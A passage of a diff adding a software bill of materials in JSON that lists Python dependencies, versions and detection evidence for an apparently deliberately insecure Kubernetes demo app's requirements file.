+      "version": "latest",
+      "purl": "pkg:pypi/aiobotocore@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/aiobotocore@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "botocore",
+      "version": "1.29.76",
+      "purl": "pkg:pypi/botocore@1.29.76",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/botocore@1.29.76",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "python-dateutil",
+      "version": "2.8.2",
+      "purl": "pkg:pypi/python-dateutil@2.8.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-dateutil@2.8.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "aiohttp",
+      "version": "3.8.5",
+      "purl": "pkg:pypi/aiohttp@3.8.5",
+      "type": "framework",
+      "bom-ref": "pkg:pypi/aiohttp@3.8.5",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "wrapt",
+      "version": "1.14.1",
+      "purl": "pkg:pypi/wrapt@1.14.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/wrapt@1.14.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "aioitertools",
+      "version": "0.7.1",
+      "purl": "pkg:pypi/aioitertools@0.7.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/aioitertools@0.7.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "aiofiles",
+      "version": "latest",
+      "purl": "pkg:pypi/aiofiles@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/aiofiles@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "aiosignal",
+      "version": "latest",
+      "purl": "pkg:pypi/aiosignal@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/aiosignal@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "frozenlist",
+      "version": "1.3.3",
+      "purl": "pkg:pypi/frozenlist@1.3.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/frozenlist@1.3.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "aiosqlite",
+      "version": "latest",
+      "purl": "pkg:pypi/aiosqlite@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/aiosqlite@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "anaconda-anon-usage",
+      "version": "latest",
+      "purl": "pkg:pypi/anaconda-anon-usage@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anaconda-anon-usage@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda",
+      "version": "23.7.4",
+      "purl": "pkg:pypi/conda@23.7.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda@23.7.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "boltons",
+      "version": "23.0.0",
+      "purl": "pkg:pypi/boltons@23.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/boltons@23.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "conda-package-handling",
+      "version": "2.2.0",
+      "purl": "pkg:pypi/conda-package-handling@2.2.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-package-handling@2.2.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "conda-package-streaming",
+      "version": "0.9.0",
+      "purl": "pkg:pypi/conda-package-streaming@0.9.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-package-streaming@0.9.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "zstandard",
+      "version": "0.19.0",
+      "purl": "pkg:pypi/zstandard@0.19.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/zstandard@0.19.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "jsonpatch",
+      "version": "1.32",
+      "purl": "pkg:pypi/jsonpatch@1.32",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jsonpatch@1.32",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "jsonpointer",
+      "version": "2.1",
+      "purl": "pkg:pypi/jsonpointer@2.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jsonpointer@2.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pluggy",
+      "version": "1.0.0",
+      "purl": "pkg:pypi/pluggy@1.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pluggy@1.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pycosat",
+      "version": "0.6.4",
+      "purl": "pkg:pypi/pycosat@0.6.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pycosat@0.6.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "toolz",
+      "version": "0.12.0",
+      "purl": "pkg:pypi/toolz@0.12.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/toolz@0.12.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "tqdm",
+      "version": "4.65.0",
+      "purl": "pkg:pypi/tqdm@4.65.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/tqdm@4.65.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "anaconda-catalogs",
+      "version": "latest",
+      "purl": "pkg:pypi/anaconda-catalogs@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anaconda-catalogs@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "intake",
+      "version": "0.6.8",
+      "purl": "pkg:pypi/intake@0.6.8",
+      "type": "library",
+      "bom-ref": "pkg:pypi/intake@0.6.8",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "appdirs",
+      "version": "1.4.4",
+      "purl": "pkg:pypi/appdirs@1.4.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/appdirs@1.4.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "dask",
+      "version": "2023.6.0",
+      "purl": "pkg:pypi/dask@2023.6.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/dask@2023.6.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "click",
+      "version": "8.1.7",
+      "purl": "pkg:pypi/click@8.1.7",
+      "type": "library",
+      "bom-ref": "pkg:pypi/click@8.1.7",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "cloudpickle",
+      "version": "2.2.1",
+      "purl": "pkg:pypi/cloudpickle@2.2.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cloudpickle@2.2.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "fsspec",
+      "version": "2023.4.0",
+      "purl": "pkg:pypi/fsspec@2023.4.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/fsspec@2023.4.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "entrypoints",
+      "version": "0.4",
+      "purl": "pkg:pypi/entrypoints@0.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/entrypoints@0.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "msgpack",
+      "version": "1.0.3",
+      "purl": "pkg:pypi/msgpack@1.0.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/msgpack@1.0.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "PyYAML",
+      "version": "6.0",
+      "purl": "pkg:pypi/pyyaml@6.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyyaml@6.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "anaconda-cloud-auth",
+      "version": "latest",
+      "purl": "pkg:pypi/anaconda-cloud-auth@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anaconda-cloud-auth@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "keyring",
+      "version": "23.13.1",
+      "purl": "pkg:pypi/keyring@23.13.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/keyring@23.13.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "jaraco.classes",
+      "version": "3.2.1",
+      "purl": "pkg:pypi/jaraco.classes@3.2.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jaraco.classes@3.2.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "more-itertools",
+      "version": "8.12.0",
+      "purl": "pkg:pypi/more-itertools@8.12.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/more-itertools@8.12.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "importlib-metadata",
+      "version": "6.0.0",
+      "purl": "pkg:pypi/importlib-metadata@6.0.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/importlib-metadata@6.0.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "zipp",
+      "version": "3.11.0",
+      "purl": "pkg:pypi/zipp@3.11.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/zipp@3.11.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "SecretStorage",
+      "version": "3.3.1",
+      "purl": "pkg:pypi/secretstorage@3.3.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/secretstorage@3.3.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pkce",
+      "version": "1.0.3",
+      "purl": "pkg:pypi/pkce@1.0.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pkce@1.0.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "pydantic",
+      "version": "1.10.8",
+      "purl": "pkg:pypi/pydantic@1.10.8",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pydantic@1.10.8",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "PyJWT",
+      "version": "2.4.0",
+      "purl": "pkg:pypi/pyjwt@2.4.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/pyjwt@2.4.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "python-dotenv",
+      "version": "0.21.0",
+      "purl": "pkg:pypi/python-dotenv@0.21.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/python-dotenv@0.21.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "anaconda-navigator",
+      "version": "latest",
+      "purl": "pkg:pypi/anaconda-navigator@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anaconda-navigator@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "anaconda-project",
+      "version": "latest",
+      "purl": "pkg:pypi/anaconda-project@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anaconda-project@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "anaconda-client",
+      "version": "1.12.1",
+      "purl": "pkg:pypi/anaconda-client@1.12.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anaconda-client@1.12.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "clyent",
+      "version": "1.2.2",
+      "purl": "pkg:pypi/clyent@1.2.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/clyent@1.2.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "defusedxml",
+      "version": "0.7.1",
+      "purl": "pkg:pypi/defusedxml@0.7.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/defusedxml@0.7.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
